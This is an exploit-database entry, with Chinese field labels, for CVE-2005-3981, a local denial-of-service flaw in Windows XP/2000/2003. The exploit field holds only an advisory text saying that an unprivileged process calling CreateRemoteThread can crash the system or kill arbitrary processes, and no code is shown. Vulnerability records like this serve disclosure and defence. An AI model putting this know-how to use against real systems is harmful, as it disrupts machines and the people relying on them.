标题: Microsoft Windows XP/2000/2003 - CreateRemoteThread Local Denial of Service EDB-ID: 26690 CVE: 2005-3981 类型: DOS 平台: WINDOWS 发布日期: 2005-12-01 漏洞利用脚本: // source: https://www.securityfocus.com/bid/15671/info

Microsoft Windows is prone to a local denial of service vulnerability. This issue can allow an attacker to trigger a system wide denial of service condition or terminate arbitrary processes.

Reports indicate that a process can call the 'CreateRemoteThread' function to trigger this issue.

It was reported that this attack can be carried out by a local unprivileged user.
